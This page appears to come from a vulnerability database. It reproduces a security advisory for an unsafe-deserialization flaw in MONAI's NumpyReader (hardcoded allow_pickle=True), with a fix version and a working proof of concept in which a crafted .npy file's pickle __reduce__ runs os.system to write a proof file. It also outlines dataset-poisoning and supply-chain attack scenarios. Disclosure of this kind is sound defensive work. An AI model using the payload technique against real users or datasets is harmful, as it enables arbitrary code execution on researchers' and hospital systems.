VDB
KO
HIGH 7.8

GHSA-wg9g-w2j2-8pgr

MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files

Quick fix

GHSA-wg9g-w2j2-8pgr — monai: upgrade to the fixed version with the command below.

pip install --upgrade 'monai>=1.6.0'

Details

### Summary

The `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` (line 1276), enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547). The `allow_pickle` parameter is hardcoded to `True` and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except `allow_pickle`").

### Details

**Vulnerable code** ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/image_reader.py#L1276)):

```python # monai/data/image_reader.py, line 1276, in NumpyReader.read() img = np.load(name, allow_pickle=True, **kwargs_) ```

The `NumpyReader` is automatically selected by MONAI's `LoadImage` transform for any file with `.npy` or `.npz` extension (see `monai/transforms/io/array.py` line 68: `"numpyreader": NumpyReader`). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The `allow_pickle=True` parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the `__reduce__` method.

**Compare with safe practices in the same project:**

The MONAI project has already addressed similar deserialization issues in other code paths: - `torch.load` calls now use `weights_only=True` (after GHSA-6vm5-6jv9-rjpj) - `PersistentDataset` defaults to `weights_only=True` (line 272-275 of dataset.py)

However, `NumpyReader` was not included in these security improvements.

Additionally, the `NPZDataset` class in the same project correctly uses the default `allow_pickle=False` ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/dataset.py#L1433)):

```python # monai/data/dataset.py, line 1433 — safe usage dat = np.load(npzfile) # allow_pickle defaults to False ```

This inconsistency shows that `NumpyReader` was overlooked during security hardening.

**The user cannot override this behavior:**

```python # monai/data/image_reader.py, line 1233 (docstring) # kwargs: additional args for `numpy.load` API except `allow_pickle`. ```

The hardcoded `allow_pickle=True` on line 1276 overrides any user attempt to set it via kwargs.

**Data flow:**

1. User creates a data pipeline with `LoadImage` transform or uses any MONAI dataset class 2. A `.npy` or `.npz` file is provided as input (e.g., as part of a shared medical dataset) 3. `LoadImage` selects `NumpyReader` based on file extension 4. `NumpyReader.read()` calls `np.load(name, allow_pickle=True)` 5. Malicious pickle payload in the `.npy` file executes arbitrary code

### PoC

```python #!/usr/bin/env python3 """PoC: RCE via NumpyReader allow_pickle=True in MONAI""" import os import tempfile import numpy as np

class MaliciousPayload: def __reduce__(self): return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_") malicious_npy = os.path.join(tmpdir, "malicious_mask.npy") np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed: from monai.data.image_reader import NumpyReader reader = NumpyReader() data = reader.read(malicious_npy)

# Verify RCE proof = "/tmp/monai_rce_proof.txt" if os.path.exists(proof): print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}") os.remove(proof)

os.remove(malicious_npy) os.rmdir(tmpdir) ```

**Output:** ``` [!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed ```

### Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

1. **Dataset poisoning**: Placing a malicious `.npy` file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

2. **Supply chain attack**: Contributing a malicious `.npy` file to a MONAI tutorial, example, or bundle that other users download and run.

3. **Lateral movement in medical environments**: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI / monai
Introduced in: 0 Fixed in: 1.6.0
Fix pip install --upgrade 'monai>=1.6.0'

References